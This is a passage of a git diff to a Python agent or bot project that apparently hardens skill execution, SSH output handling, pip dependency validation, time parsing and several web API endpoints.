hashlib.sha256(evidence_digest(text).encode("ascii")) + for attachment in result.attachments: + metadata = json.dumps({ + "media_type": attachment.media_type, + "content_index": attachment.content_index, + "kind": attachment.kind, + }, sort_keys=True).encode("utf-8") + evidence.update(len(metadata).to_bytes(8, "big")) + evidence.update(metadata) + evidence.update(len(attachment.data).to_bytes(8, "big")) + evidence.update(attachment.data) retain = getattr(type(executor), "retain_attachments", None) try: if not callable(retain): @@ -79,9 +108,15 @@ def deliver_runtime_result(executor, result, **kwargs): text = deliver_runtime_output( executor, ensure_failure_visible(text, result.ok), status=status, budget=budget, **kwargs) - return replace(result, attachments=(), output=DeliveredOutput(text + pointer)) - return replace(result, attachments=(), output=deliver_runtime_output( - executor, ensure_failure_visible(text, result.ok), status=status, **kwargs)) + output = DeliveredOutput(text + pointer, evidence_digest=evidence.hexdigest()) + output.truncated = bool(getattr(text, "truncated", False)) + return replace(result, attachments=(), output=output, + truncated=result.truncated or output.truncated) + output = deliver_runtime_output( + executor, ensure_failure_visible(text, result.ok), status=status, **kwargs) + return replace(result, attachments=(), output=output, + truncated=result.truncated or bool( + isinstance(output, DeliveredOutput) and output.truncated)) if image_result_parts(result) is not None: return result return deliver_runtime_output(executor, result, **kwargs) diff --git a/src/tools/skill_context.py b/src/tools/skill_context.py index 929fbeae8..52514093b 100644 --- a/src/tools/skill_context.py +++ b/src/tools/skill_context.py @@ -102,19 +102,10 @@ def is_url_blocked(url: str) -> bool: SKILL_SAFE_TOOLS: frozenset[str] = frozenset( { "read_file", - "search_history", - "search_audit", - "search_knowledge", - "list_knowledge", - "list_schedules", - "list_skills", - "list_tasks", "memory_manage", - "parse_time", "web_search", "fetch_url", "http_probe", - "browser_screenshot", "browser_read_page", "browser_read_table", } @@ -124,7 +115,7 @@ def is_url_blocked(url: str) -> bool: class SkillContext: """API surface passed to user-created skills. - Provides SSH execution, HTTP helpers, Prometheus queries, file reading, + Provides SSH execution, HTTP helpers, file reading, persistent memory, channel messaging, config access, knowledge base, conversation history search, scheduler, and generic tool execution. """ @@ -163,59 +154,24 @@ def __init__( async def run_on_host(self, alias: str, command: str) -> str: """Run a shell command on a managed host via SSH. Returns output string.""" - # Preserve the direct-executor seam used by older embedders/tests; - # real ToolExecutor execution takes the generation lease below. - from .executor import ToolExecutor - - if not isinstance(self._executor, ToolExecutor) and hasattr( - self._executor, "execute" - ): - return str( + # The public executor owns admission, governance and the generation + # lease. Never take the private transport shortcut on a real executor. + if hasattr(self._executor, "execute"): + from .execution_outcome import result_text + + return result_text( await self._executor.execute( "run_command", {"host": alias, "command": command}, user_id=getattr(self, "_requester_id", None), ) ) - if isinstance(self._executor, ToolExecutor): - raw = await self._executor._run_on_host( - alias, - command, - use_workspace=True, - user_id=getattr(self, "_requester_id", None), - ) - else: - raw = await self._executor._run_on_host( - alias, command, use_workspace=True - ) + # Legacy transport-only embedders do not expose ToolExecutor admission. + raw = await self._executor._run_on_host(alias, command, use_workspace=True) if isinstance(raw, tuple): return raw[0] return raw - async def query_prometheus(self, query: str) -> str: - """Run a PromQL instant query against Prometheus via curl. - - Requires Prometheus to be reachable from a configured host. - """ - # Use run_command with curl since the dedicated query_prometheus tool was removed. - hosts = self.get_hosts() - if not hosts: - return "No hosts configured to reach Prometheus." - host = hosts[0] - from urllib.parse import quote as url_quote - - encoded_query = url_quote(query) - return str( - await self._executor.execute( - "run_command", - { - "host": host, - "command": f"curl -sf 'http://localhost:9090/api/v1/query?query={encoded_query}'", - }, - user_id=self._requester_id, - ) - ) - async def read_file( self, host: str, @@ -228,7 +184,9 @@ async def read_file( if is_path_denied(path): self._log.warning("Skill attempted to read denied path: %s", path) return f"Access denied: '{path}' is a restricted path." - return str( + from .execution_outcome import result_text + + return result_text( await self._executor.execute( "read_file", { @@ -474,7 +432,8 @@ async def delete_schedule(self, schedule_id: str) -> bool: async def execute_tool(self, tool_name: str, tool_input: dict | None = None) -> str: """Execute a safe built-in tool by name. Returns the tool's output string. - Only tools listed in SKILL_SAFE_TOOLS are allowed. Destructive + Only executor-routable tools listed in SKILL_SAFE_TOOLS are allowed. + Native-only tools require their dedicated context helper. Destructive tools (run_command, apply_patch, etc.) are blocked from skill context. """ if tool_name not in SKILL_SAFE_TOOLS: @@ -492,7 +451,9 @@ async def execute_tool(self, tool_name: str, tool_input: dict | None = None) -> if is_path_denied(path): self._log.warning("Skill attempted to read denied path via tool: %s", path) return f"Access denied: '{path}' is a restricted path." - return str( + from .execution_outcome import result_text + + return result_text( await self._executor.execute( tool_name, tool_input or {}, user_id=self._requester_id ) diff --git a/src/tools/skill_manager.py b/src/tools/skill_manager.py index dab52aa3b..21969fffd 100644 --- a/src/tools/skill_manager.py +++ b/src/tools/skill_manager.py @@ -4,9 +4,11 @@ import asyncio import importlib.util import json +import os import re import subprocess import sys +import tempfile import threading import time import urllib.parse @@ -19,6 +21,9 @@ from typing import Any from jsonschema.validators import validator_for +from packaging.requirements import InvalidRequirement, Requirement +from packaging.utils import canonicalize_name +from packaging.version import InvalidVersion from ..odin_log import get_logger from .executor import ToolExecutor @@ -198,10 +203,6 @@ def _parse_package_name(spec: str) -> str: return m.group(1) if m else "" -# Version-specifier operators allowed after a package name/extras. -_DEP_VERSION_RE = re.compile(r"^(===|==|~=|!=|<=|>=|<|>)?\s*[A-Za-z0-9_.*+!-]*$") - - def is_safe_dependency_spec(spec: str) -> bool: """Reject pip specs that let a skill run arbitrary code at install time. @@ -223,23 +224,45 @@ def is_safe_dependency_spec(spec: str) -> bool: or "/" in s or "\\" in s or any(lowered.startswith(v + "+") for v in ("git", "hg", "svn", "bzr")) - or any(c.isspace() for c in s) + or any(c in s for c in "\r\n\x00") ): return False - name = _parse_package_name(s) - if not name: + try: + requirement = Requirement(s) + except InvalidRequirement: return False - # Whatever follows the name[extras] must be a plain version specifier. - remainder = s.split("]", 1)[1] if "[" in s and "]" in s else s[len(name) :] - return bool(_DEP_VERSION_RE.match(remainder.strip())) + return requirement.url is None and requirement.marker is None -def _is_package_installed(name: str) -> bool: - """Check if a pip package is installed via importlib.metadata.""" +def _is_package_installed(spec: str, _seen: set[str] | None = None) -> bool: + """Check the installed version and dependencies required by extras.""" try: - distribution(name) + requirement = Requirement(spec) + if requirement.url is not None: + return False + installed = distribution(requirement.name) + if requirement.specifier and not requirement.specifier.contains(installed.version): + return False + if requirement.extras: + declared = {canonicalize_name(extra) for extra in + installed.metadata.get_all("Provides-Extra", [])} + if not {canonicalize_name(extra) for extra in requirement.extras} <= declared: + return False + seen = set() if _seen is None else _seen.copy() + if str(requirement) in seen: + return True + seen.add(str(requirement)) + for dependency in installed.requires or []: + child = Requirement(dependency) + if child.marker is None or any( + child.marker.evaluate({"extra": extra}) + for extra in ["", *requirement.extras] + ): + child.marker = None + if not _is_package_installed(str(child), seen): + return False return True - except PackageNotFoundError: + except (PackageNotFoundError, InvalidRequirement, InvalidVersion): return False @@ -349,7 +372,7 @@ def resolve_dependencies(deps: list[str]) -> tuple[list[str], list[str], list[Sk if not name: diagnostics.append(SkillDiagnostic("warn", f"Invalid dependency spec: {spec!r}")) continue - if _is_package_installed(name): + if _is_package_installed(spec): already_installed.append(spec) else: to_install.append(spec) @@ -658,9 +681,20 @@ def _load_disabled_set(self) -> set[str]: pass return set() - def _save_disabled_set(self) -> None: + def _save_disabled_set(self, disabled: set[str] | None = None) -> None: """Persist the disabled skill names to disk.""" - self._disabled_path.write_text(json.dumps(sorted(self._disabled))) + candidate = self._disabled if disabled is None else disabled + # Persist before publishing activation; a failed write cannot leave + # a changed live catalog or a partially written durable ledger. + fd, filename = tempfile.mkstemp(dir=self._disabled_path.parent) + try: + with os.fdopen(fd, "w") as stream: + stream.write(json.dumps(sorted(candidate))) + stream.flush() + os.fsync(stream.fileno()) + os.replace(filename, self._disabled_path) + finally: + Path(filename).unlink(missing_ok=True) def set_services( self, @@ -834,7 +868,7 @@ def edit_skill(self, name: str, code: str) -> str: if name not in self._skills: return f"Skill '{name}' not found." - path = self.skills_dir / f"{name}.py" + path = self._skills[name].file_path old_code = path.read_text() if path.exists() else "" try: @@ -860,6 +894,8 @@ def edit_skill(self, name: str, code: str) -> str: f"('{name}'). They must be identical. Reverted to previous version." ) + if name in self._disabled or previous_skill.status == SkillStatus.DISABLED: + skill.status = SkillStatus.DISABLED self._skills[name] = skill return f"Skill '{name}' updated and reloaded successfully." @@ -868,9 +904,9 @@ def delete_skill(self, name: str) -> str: if name not in self._skills: return f"Skill '{name}' not found." - path = self.skills_dir / f"{name}.py" - self._unload_skill(name) + path = self._skills[name].file_path path.unlink(missing_ok=True) + self._unload_skill(name) # Clean up config file and disabled state config_path = self._config_dir / f"{name}.json" config_path.unlink(missing_ok=True) @@ -886,9 +922,10 @@ def enable_skill(self, name: str) -> str: skill = self._skills[name] if skill.status != SkillStatus.DISABLED: return f"Skill '{name}' is already enabled." + candidate = self._disabled - {name} + self._save_disabled_set(candidate) + self._disabled = candidate skill.status = SkillStatus.LOADED - self._disabled.discard(name) - self._save_disabled_set() return f"Skill '{name}' enabled." def disable_skill(self, name: str) -> str: @@ -898,9 +935,10 @@ def disable_skill(self, name: str) -> str: skill = self._skills[name] if skill.status == SkillStatus.DISABLED: return f"Skill '{name}' is already disabled." + candidate = self._disabled | {name} + self._save_disabled_set(candidate) + self._disabled = candidate skill.status = SkillStatus.DISABLED - self._disabled.add(name) - self._save_disabled_set() return f"Skill '{name}' disabled. Use enable_skill to re-activate it." def is_enabled(self, name: str) -> bool: @@ -992,7 +1030,8 @@ def check_dependencies(self, name: str) -> dict: { "spec": spec, "package": pkg_name, - "installed": _is_package_installed(pkg_name) if pkg_name else False, + "installed": (is_safe_dependency_spec(spec) + and _is_package_installed(spec)) if pkg_name else False, } ) return { @@ -1163,11 +1202,24 @@ async def execute( requester_id: str | None = None, ) -> str: """Execute a user-created skill with timeout and sandboxing.""" + from .execution_outcome import DispatchEvidence, ToolFailure, dispatch_evidence + from .output_authorization import tool_scope_allows + + # invoke_skill is only a wrapper, not authority for its selected skill. + # This boundary also covers legacy/background and direct manager calls. + if not tool_scope_allows(tool_name): + return ToolFailure("Permission denied: selected skill scope revoked or unavailable.") + if isinstance(self._executor, ToolExecutor): + denial = self._executor.check_permission(tool_name, requester_id) + if denial: + return ToolFailure(denial) skill = self._skills.get(tool_name) if not skill: - return f"Skill '{tool_name}' not found." + return ToolFailure(f"Skill '{tool_name}' not found.") if skill.status == SkillStatus.DISABLED: - return f"Skill '{tool_name}' is disabled. Use enable_skill to re-activate it." + return ToolFailure( + f"Skill '{tool_name}' is disabled. Use enable_skill to re-activate it." + ) # Load config with defaults applied skill_config = self.get_skill_config(tool_name) @@ -1193,6 +1245,8 @@ async def execute( truncated = False output_chars = 0 skill_timeout = self._tool_timeouts.get(tool_name, SKILL_EXECUTE_TIMEOUT) + evidence = DispatchEvidence() + evidence_token = dispatch_evidence.set(evidence) try: result = await asyncio.wait_for( skill.execute_fn(tool_input, context), @@ -1200,21 +1254,29 @@ async def execute( ) if not isinstance(result, str): result = str(result) - # Enforce output limit - if len(result) > MAX_SKILL_OUTPUT_CHARS: + # Delivery owners retain the full bounded output before preview. + # Direct/internal callers keep the historical safety limit. + from .result_capture import capture_active + + if not capture_active() and len(result) > MAX_SKILL_OUTPUT_CHARS: result = ( result[:MAX_SKILL_OUTPUT_CHARS] + f"\n... [truncated at {MAX_SKILL_OUTPUT_CHARS} chars]" ) truncated = True + if evidence.uncertain: + result = ToolFailure(result, uncertain_outcome=True) output_chars = len(result) return result except TimeoutError: - return f"Skill '{tool_name}' timed out after {skill_timeout}s." + return ToolFailure( + f"Skill '{tool_name}' timed out after {skill_timeout}s.", uncertain_outcome=True + ) except Exception as e: log.error("Skill %s execution error: %s", tool_name, e, exc_info=True) - return f"Skill error: {e}" + return ToolFailure(f"Skill error: {e}", uncertain_outcome=True) finally: + dispatch_evidence.reset(evidence_token) elapsed_ms = (time.monotonic() - start) * 1000 stats = SkillExecutionStats( wall_time_ms=elapsed_ms, diff --git a/src/tools/ssh.py b/src/tools/ssh.py index 59c167991..9b22b2a14 100644 --- a/src/tools/ssh.py +++ b/src/tools/ssh.py @@ -1,6 +1,7 @@ from __future__ import annotations import asyncio +import codecs import os import shlex import signal @@ -10,6 +11,7 @@ from ..llm.backoff import compute_backoff from ..odin_log import get_logger +from .execution_outcome import mark_dispatch_uncertain from .result_capture import capture_active from .workspace import workspace_env @@ -181,34 +183,62 @@ async def _read_lines_with_callback( on_output: OutputCallback, owned_pgid: int | None = None, ) -> tuple[int, str]: - """Read stdout line by line, calling *on_output* for each line.""" + """Read bounded chunks, framing lines without StreamReader's 64 KiB limit. + + Very long lines are emitted as bounded fragments. Capture remains byte- + ordered and the incremental decoder preserves split UTF-8 characters. + """ lines: list[str] = [] + decoder = codecs.getincrementaldecoder("utf-8")(errors="replace") + pending = "" + + async def emit(text: str) -> None: + lines.append(text) + # A failing consumer must not abandon a running child outside the + # command deadline. The common exception arm owns cleanup. + await on_output(text) + try: async with asyncio.timeout(timeout): assert proc.stdout is not None while True: - raw = await proc.stdout.readline() + raw = await proc.stdout.read(16384) if not raw: break - line = raw.decode("utf-8", errors="replace") - lines.append(line) - try: - await on_output(line) - except Exception: - log.debug("on_output callback error", exc_info=True) + pending += decoder.decode(raw) + while "\n" in pending: + line, pending = pending.split("\n", 1) + await emit(line + "\n") + if len(pending) >= 16384: + await emit(pending) + pending = "" + pending += decoder.decode(b"", final=True) + if pending: + await emit(pending) # Wait for process exit with a bounded timeout to avoid indefinite hang try: await asyncio.wait_for(proc.wait(), timeout=min(timeout, 10)) except TimeoutError: + mark_dispatch_uncertain() await terminate_process_tree(proc, owned_pgid=owned_pgid) + return 1, _truncate_output( + "".join(lines) + f"\nCommand timed out after {timeout} seconds" + ) except TimeoutError: + mark_dispatch_uncertain() await terminate_process_tree(proc, owned_pgid=owned_pgid) - return 1, f"Command timed out after {timeout} seconds" + return 1, _truncate_output( + "".join(lines) + pending + f"\nCommand timed out after {timeout} seconds" + ) except asyncio.CancelledError: # Task cancellation (loop drain at shutdown/restart) must not leak # the child or its descendants past this process's lifetime. await terminate_process_tree(proc, owned_pgid=owned_pgid) raise + except Exception: + mark_dispatch_uncertain() + await terminate_process_tree(proc, owned_pgid=owned_pgid) + raise output = "".join(lines) return proc.returncode or 0, _truncate_output(output) @@ -262,6 +292,7 @@ async def run_local_command( except TimeoutError: if proc is not None: + mark_dispatch_uncertain() await terminate_process_tree(proc, owned_pgid=proc.pid) return 1, f"Command timed out after {timeout} seconds" except asyncio.CancelledError: @@ -273,6 +304,9 @@ async def run_local_command( await terminate_process_tree(proc, owned_pgid=proc.pid) raise except Exception as e: + if proc is not None: + mark_dispatch_uncertain() + await terminate_process_tree(proc, owned_pgid=proc.pid) log.error("Local command failed: %s", safe_error(e)) return 1, f"Local exec error: {safe_error(e)}" @@ -332,7 +366,9 @@ async def run_ssh_command( last_exit_code = 1 last_output = "" - for attempt in range(max_retries): + # Positive values historically count attempts: keep approved retry policy. + # Zero disables retries, not the initial attempt. + for attempt in range(max(1, max_retries)): proc: asyncio.subprocess.Process | None = None pool_acquired = False try: @@ -420,6 +456,7 @@ async def run_ssh_command( # to leave the previous ssh process running while spawning the # next attempt. if proc is not None: + mark_dispatch_uncertain() await terminate_process_tree(proc) if pool is not None: # A legacy socket may still name a detached master; preserve @@ -447,6 +484,9 @@ async def run_ssh_command( raise except Exception as e: + if proc is not None: + mark_dispatch_uncertain() + await terminate_process_tree(proc) log.error("SSH command failed: %s", safe_error(e)) return 1, f"SSH error: {safe_error(e)}" finally: diff --git a/src/tools/ssh_pool.py b/src/tools/ssh_pool.py index 2b8984290..107dd7cc2 100644 --- a/src/tools/ssh_pool.py +++ b/src/tools/ssh_pool.py @@ -402,7 +402,9 @@ async def close_host( key = self._key(host, ssh_user, target_id) async with self._lock(key): self._cancel_expiry(key) - master = self._masters.pop(key, None) + # Keep the direct ownership handle through every cancellable await. + # If closure is interrupted, close_all can still settle this master. + master = self._masters.get(key) had_connection = os.path.exists(socket) or master is not None if os.path.exists(socket): proc = None @@ -440,6 +442,9 @@ async def close_host( await asyncio.wait_for(master.wait(), timeout=5) except TimeoutError: await self._stop_process(master) + if master.returncode is None: + return False + self._masters.pop(key, None) try: os.unlink(socket) except OSError: @@ -480,12 +485,3 @@ def get_metrics(self) -> dict: "control_persist": self.control_persist, "socket_dir": self.socket_dir, } - - def get_prometheus_metrics(self) -> dict: - """Return flat metrics dict for Prometheus collector.""" - active = len(self.get_active_hosts()) - return { - "ssh_pool_active_connections": active, - "ssh_pool_total_opened": self._total_opened, - "ssh_pool_total_reused": self._total_reused, - } diff --git a/src/tools/time_parser.py b/src/tools/time_parser.py index db7af8c02..6bf14b747 100644 --- a/src/tools/time_parser.py +++ b/src/tools/time_parser.py @@ -68,8 +68,11 @@ def set_default_timezone(tz_name: str) -> None: _MONTHS = ( "january|february|march|april|june|july|august|september|october|november|december" ) -_TIME_12H = re.compile(r"(\d{1,2})(?::(\d{2}))?\s*(am|pm)") -_TIME_24H = re.compile(r"(\d{1,2}):(\d{2})$") +_TIME_12H = re.compile(r"(\d{1,2})(?::(\d{2}))?\s*([ap]\.?m\.?)") +_TIME_24H = re.compile(r"(\d{1,2}):(\d{2})(?!\d)") +_BARE_CLOCK_TAIL = re.compile( + r"(?:\s+(?:tomorrow|(?:on\s+|next\s+)?(?:" + _DAY_WORDS + r")))?\s*" +) _MORE_DURATION = re.compile(r"\s*(?:,\s*)?(?:and\s+)?(\d+)\s+(\w+)") _CLOCK_LEAD = re.compile(r"[\s,]*(?:at\s+)?") _DAY_AFTER_TIME = re.compile( @@ -124,8 +127,11 @@ def _extract_explicit_timezone(expression: str) -> tuple[str, ZoneInfo | None]: return text[: match.start()].strip(), ZoneInfo(_ZONE_ALIASES[abbreviation]) # Only uppercase source tokens are presumed to be explicit abbreviations; # ordinary prose tails retain the parser's historical behavior. + # AM/PM are clock markers in every case, not timezone abbreviations. source_token = text[match.start(1) : match.end(1)] - if source_token.isupper() or abbreviation in _AMBIGUOUS_ZONE_ABBREVIATIONS: + if abbreviation not in {"am", "pm"} and ( + source_token.isupper() or abbreviation in _AMBIGUOUS_ZONE_ABBREVIATIONS + ): raise ValueError( f"Timezone abbreviation '{source_token}' is ambiguous or unsupported; " "use an IANA zone such as America/New_York" @@ -151,21 +157,31 @@ def _split_time_of_day(text: str) -> tuple[tuple[int, int], str] | None: """Return a leading clock time and the unconsumed text.""" text = text.strip().lower() - # 12-hour: 9am, 9:30pm, 9:30 am + # 12-hour: 9am, 9:30pm, 9:30 am, 9:30 a.m. m = _TIME_12H.match(text) if m: hour = int(m.group(1)) minute = int(m.group(2) or 0) - if m.group(3) == "pm" and hour != 12: + if not 1 <= hour <= 12: + raise ValueError("AM/PM clock hours must be between 1 and 12") + meridiem = m.group(3).replace(".", "") + if meridiem == "pm" and hour != 12: hour += 12 - elif m.group(3) == "am" and hour == 12: + elif meridiem == "am" and hour == 12: hour = 0 return (hour, minute), text[m.end() :] # 24-hour: 17:00, 09:30 m = _TIME_24H.match(text) if m: - return (int(m.group(1)), int(m.group(2))), "" + rest = text[m.end() :] + # Bare clocks must not inherit the historical 12-hour prose tolerance: + # e.g. ignoring "tonight" after 8:00 schedules the wrong half of the day. + # Validate here so every caller enforces the same closed tail grammar; + # callers still reject a second day after an already selected day. + if _BARE_CLOCK_TAIL.fullmatch(rest) is None: + raise ValueError(f"Cannot parse time expression: '{text}'") + return (int(m.group(1)), int(m.group(2))), rest # Bare hour: "9" — too ambiguous, skip return None @@ -202,7 +218,15 @@ def _clock_then_day(now: datetime, hit, expression: str) -> datetime: return _at_clock(target, hour, minute) _reject_unused(rest, expression) result = _at_clock(now, hour, minute) - return _at_clock(now + timedelta(days=1), hour, minute) if result <= now else result + if result.astimezone(UTC) > now.astimezone(UTC): + return result + # A clock-only request means the next occurrence, including the second + # occurrence of a repeated DST hour. Compare instants, not same-zone wall + # times (datetime's latter comparison deliberately ignores fold). + repeated = _local(result.replace(fold=1), now.tzinfo) + if repeated.astimezone(UTC) > now.astimezone(UTC): + return repeated + return _at_clock(now + timedelta(days=1), hour, minute) def _time_after_day(rest: str, expression: str) -> tuple[int, int]: diff --git a/src/trajectories/saver.py b/src/trajectories/saver.py index f6bb45301..6f536a50e 100644 --- a/src/trajectories/saver.py +++ b/src/trajectories/saver.py @@ -385,7 +385,12 @@ async def list_files(self) -> list[str]: if f.suffix == ".jsonl" and f.is_file() ) - async def read_file(self, filename: str, limit: int = 100) -> list[dict]: + async def read_file( + self, filename: str, limit: int = 100, *, channel_id: str | None = None, + user_id: str | None = None, tool_name: str | None = None, errors_only: bool = False, + ) -> list[dict]: + if limit <= 0: + return [] # Reject absolute paths and path-traversal components if filename != Path(filename).name or ".." in filename: log.warning("Rejected path-traversal attempt in trajectory read: %s", filename) @@ -402,9 +407,20 @@ async def read_file(self, filename: str, limit: int = 100) -> list[dict]: try: async for raw in _iter_jsonl_lines_reverse(handle): try: - results.append(json.loads(raw)) + entry = json.loads(raw) except (json.JSONDecodeError, UnicodeDecodeError): continue + if not isinstance(entry, dict): + continue + if channel_id and entry.get("channel_id") != channel_id: + continue + if user_id and entry.get("user_id") != user_id: + continue + if tool_name and tool_name not in entry.get("tools_used", []): + continue + if errors_only and not entry.get("is_error"): + continue + results.append(entry) if len(results) >= limit: break finally: @@ -539,6 +555,3 @@ async def find_by_loop_id(self, loop_id: str, limit: int = 1000) -> list[dict]: except Exception: pass return results - - def get_prometheus_metrics(self) -> dict: - return {"trajectories_saved_total": self._count} diff --git a/src/turn_state/store.py b/src/turn_state/store.py index 50db7d40c..3a1e0c1de 100644 --- a/src/turn_state/store.py +++ b/src/turn_state/store.py @@ -1010,7 +1010,7 @@ def list_suspended_sync(self, source: str | None = None) -> list[dict]: return [] sql = ( "SELECT source, channel_id, message_id, turn_generation, " - "last_progress_at, suspended_at FROM turns WHERE status=?" + "last_progress_at, suspended_at, user_id FROM turns WHERE status=?" ) params: list = [TurnStatus.SUSPENDED] if source: @@ -1019,7 +1019,8 @@ def list_suspended_sync(self, source: str | None = None) -> list[dict]: rows = self._conn.execute(sql, params).fetchall() return [ {"source": r[0], "channel_id": r[1], "message_id": r[2], - "generation": r[3], "last_progress_at": r[4], "suspended_at": r[5]} + "generation": r[3], "last_progress_at": r[4], "suspended_at": r[5], + "user_id": r[6]} for r in rows ] diff --git a/src/usage/rollup.py b/src/usage/rollup.py index 4a51948d1..cee62826c 100644 --- a/src/usage/rollup.py +++ b/src/usage/rollup.py @@ -282,10 +282,14 @@ def __init__( def _connect(self) -> sqlite3.Connection: conn = sqlite3.connect(self.db_path, timeout=0.1) - conn.row_factory = sqlite3.Row - conn.execute("PRAGMA journal_mode=WAL") - conn.execute("PRAGMA synchronous=NORMAL") - conn.execute("PRAGMA foreign_keys=ON") + try: + conn.row_factory = sqlite3.Row + conn.execute("PRAGMA journal_mode=WAL") + conn.execute("PRAGMA synchronous=NORMAL") + conn.execute("PRAGMA foreign_keys=ON") + except BaseException: + conn.close() + raise return conn def _initialize(self) -> None: @@ -480,8 +484,9 @@ def _ingest_trajectory(self, record: dict, kind: str, conn=None) -> bool: owns = conn is None if owns: self._lock.acquire() - conn = self._connect() try: + if owns: + conn = self._connect() conn.execute( """INSERT OR IGNORE INTO turn_facts( fact_id, occurred_at, surface, outcome, duration_ms, @@ -548,8 +553,11 @@ def _ingest_trajectory(self, record: dict, kind: str, conn=None) -> bool: return True finally: if owns: - conn.close() - self._lock.release() + try: + if conn is not None: + conn.close() + finally: + self._lock.release() @staticmethod def _tool_fact(raw: bytes | memoryview) -> tuple | None: diff --git a/src/web/api/__init__.py b/src/web/api/__init__.py index 063d96ecf..9dd655387 100644 --- a/src/web/api/__init__.py +++ b/src/web/api/__init__.py @@ -58,7 +58,6 @@ from .discord_identity import register_discord_identity from .hosts import register_hosts from .integrations import ( - register_grafana_alerts, register_mcp_servers, register_outbound_webhooks, ) @@ -158,7 +157,6 @@ def create_api_routes(bot: OdinBot) -> web.RouteTableDef: register_mcp_servers(routes, bot) - register_grafana_alerts(routes, bot) register_knowledge(routes, bot) diff --git a/src/web/api/_agent_display.py b/src/web/api/_agent_display.py index a17fe7922..5ee7da5a8 100644 --- a/src/web/api/_agent_display.py +++ b/src/web/api/_agent_display.py @@ -128,23 +128,42 @@ def agent_display_policy(info, bot) -> dict: # Nothing has executed. Resolve each axis on its own merits. model_override = getattr(info, "model_override", None) effort_override = getattr(info, "reasoning_effort_override", None) - # Per-spawn overrides are a Codex-path concept; under another provider - # they are inert, so displaying them would advertise a policy execution - # will ignore. - overrides_apply = provider not in _EFFORTLESS_PROVIDERS - - if overrides_apply and model_override: - model, model_source = model_override, "spawn_override_pending" + from ...llm.model_ref import parse_model_ref + from ...tools.agent_tool_policy import configured_agent_model, model_reasoning_dialect + + config = getattr(bot, "config", None) + selected = model_override or configured_agent_model(config) + if not isinstance(selected, str): + selected = None + if selected is None: + # Auto is a per-spawn policy; legacy pending records have no choice. + main = getattr(getattr(config, "llm_provider", None), "model", None) + selected = main if isinstance(main, str) else _live_model(bot, provider) + if not isinstance(selected, str): + selected = None + if selected: + ref = parse_model_ref(selected, allow_auto=False) + provider = ref.provider.value + model = ref.model else: - model = _live_model(bot, provider) - model_source = "current_inheritance" if model else "unknown" - - if not _provider_has_effort(provider): + model = "" + model_source = ( + "spawn_override_pending" if model_override + else "current_inheritance" if model else "unknown" + ) + dialect = model_reasoning_dialect(config, selected) if selected else "none" + + if dialect == "none": effort, effort_source = NOT_APPLICABLE, "current_inheritance" - elif overrides_apply and effort_override: + elif effort_override: effort, effort_source = effort_override, "spawn_override_pending" else: - effort = _live_effort(bot, provider) + from ...discord.native_tools.agents_tasks import _entry_native_reasoning + + native_effort, native_thinking = _entry_native_reasoning(config, selected) + effort = native_effort or native_thinking or _live_effort(bot, provider) + if not isinstance(effort, str): + effort = UNKNOWN effort_source = "current_inheritance" if effort else "unknown" if model_source == "unknown" and effort_source == "unknown": diff --git a/src/web/api/agents_loops.py b/src/web/api/agents_loops.py index 560b91164..108e01223 100644 --- a/src/web/api/agents_loops.py +++ b/src/web/api/agents_loops.py @@ -299,48 +299,22 @@ async def get_agents_model(_request: web.Request) -> web.Response: async def put_agents_model(request: web.Request) -> web.Response: try: body = await request.json() - values = bot.config.agents.model_dump() - values.update( - { - key: body[key] - for key in ( - "model", - "thinking_mode", - "auto_model_allowlist", - "model_selection_hints", - ) - if key in body - } - ) - candidate = type(bot.config.agents).model_validate(values) - from ...tools.agent_tool_policy import ( - validate_agent_entry_defaults, - validate_agent_model_hints, - ) - - defaults_error = validate_agent_entry_defaults( - bot.config, candidate.auto_model_allowlist - ) - if defaults_error: - raise ValueError(defaults_error) - hints_error = validate_agent_model_hints(bot.config, candidate) - if hints_error: - raise ValueError(hints_error) except (ValueError, ValidationError) as exc: return web.json_response({"error": str(exc)}, status=400) - changes = [] - if "model" in body: - changes.append((("agents", "model"), candidate.model)) - if "thinking_mode" in body: - changes.append((("agents", "thinking_mode"), candidate.thinking_mode)) - if "auto_model_allowlist" in body: - changes.append(( - ("agents", "auto_model_allowlist"), - candidate.model_dump(mode="json")["auto_model_allowlist"], - )) - if "model_selection_hints" in body: - changes.append((("agents", "model_selection_hints"), candidate.model_selection_hints)) async with config_transaction(): + try: + values = bot.config.model_dump() + submitted = { + key: body[key] for key in ( + "model", "thinking_mode", "auto_model_allowlist", "model_selection_hints" + ) if key in body + } + values["agents"].update(submitted) + candidate = type(bot.config).model_validate(values).agents + except (ValueError, ValidationError) as exc: + return web.json_response({"error": str(exc)}, status=400) + dumped = candidate.model_dump(mode="json") + changes = [(("agents", key), dumped[key]) for key in submitted] error, cancelled = await persist_config_paths_locked(changes) if error: if cancelled: @@ -548,9 +522,17 @@ async def kill_process(request: web.Request) -> web.Response: except ValueError: return web.json_response({"error": "invalid PID"}, status=400) result = await registry.kill(pid) - is_error = "no process" in result.lower() + killed = result == f"Process {pid} killed." + already_stopped = result in { + f"Process {pid} already {state}." + for state in ("completed", "exited", "killed", "failed") + } or result == f"Process {pid} already exited; poll to collect its outcome." + success = killed or already_stopped + status = 200 if success else 404 if result.startswith("No process") else 409 return web.json_response( - {"result": result}, status=404 if is_error else 200 + {"result": result, "success": success, + "outcome": "killed" if killed else "already_stopped" if already_stopped else "failed", + **({"error": result} if not success else {})}, status=status ) diff --git a/src/web/api/codex_admin.py b/src/web/api/codex_admin.py index 5e3e9bbd3..701c26e9c 100644 --- a/src/web/api/codex_admin.py +++ b/src/web/api/codex_admin.py @@ -127,41 +127,54 @@ async def codex_device_poll(request: web.Request) -> web.Response: import json as _json from pathlib import Path as _Path - from ...llm.codex_auth import _atomic_write_secure + from ...llm.codex_auth import ( + CodexAuthPool, + _atomic_write_secure, + mark_authorized_account, + merge_authorized_account, + ) path = _Path(creds_path) path.parent.mkdir(parents=True, exist_ok=True) async with _codex_creds_lock: try: - if path.exists(): - raw = _json.loads(path.read_text()) - if save_index is not None: - if isinstance(raw, list) and 0 <= save_index < len(raw): - raw[save_index] = creds - elif isinstance(raw, list): - raw.append(creds) - else: - raw = [raw, creds] if isinstance(raw, dict) else [creds] - else: - if isinstance(raw, list): - raw.append(creds) - elif isinstance(raw, dict): - raw = [raw, creds] - else: - raw = [creds] - _atomic_write_secure(path, _json.dumps(raw, indent=2)) - else: - _atomic_write_secure(path, _json.dumps([creds], indent=2)) - except Exception as e: + raw = _json.loads(path.read_text()) if path.exists() else [] + if not isinstance(raw, (dict, list)): + raise ValueError("invalid credentials shape") + except (ValueError, OSError): bak = path.with_suffix(".bak") if path.exists(): try: import shutil shutil.copy2(path, bak) - except Exception: - pass - _atomic_write_secure(path, 